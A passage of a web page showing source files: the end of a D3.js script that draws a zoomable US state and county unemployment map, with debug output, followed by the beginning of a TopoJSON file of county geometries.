        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  	svg.append(&apos;rect&apos;)
    .attr(&apos;width&apos;, 100)
    .attr(&apos;height&apos;, 100)
    .attr(&apos;fill&apos;,&apos;red&apos;)
  	.attr(&apos;transform&apos;, &apos;translate(200,200)&apos;)
  
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)

    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        f.properties = data.find(function (d) { return d.id === f.id })
    })
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })

    var statePaths = svg.selectAll(&apos;path&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })
    
    d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(d3.select(&apos;#zoomy-map&apos;).html())

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id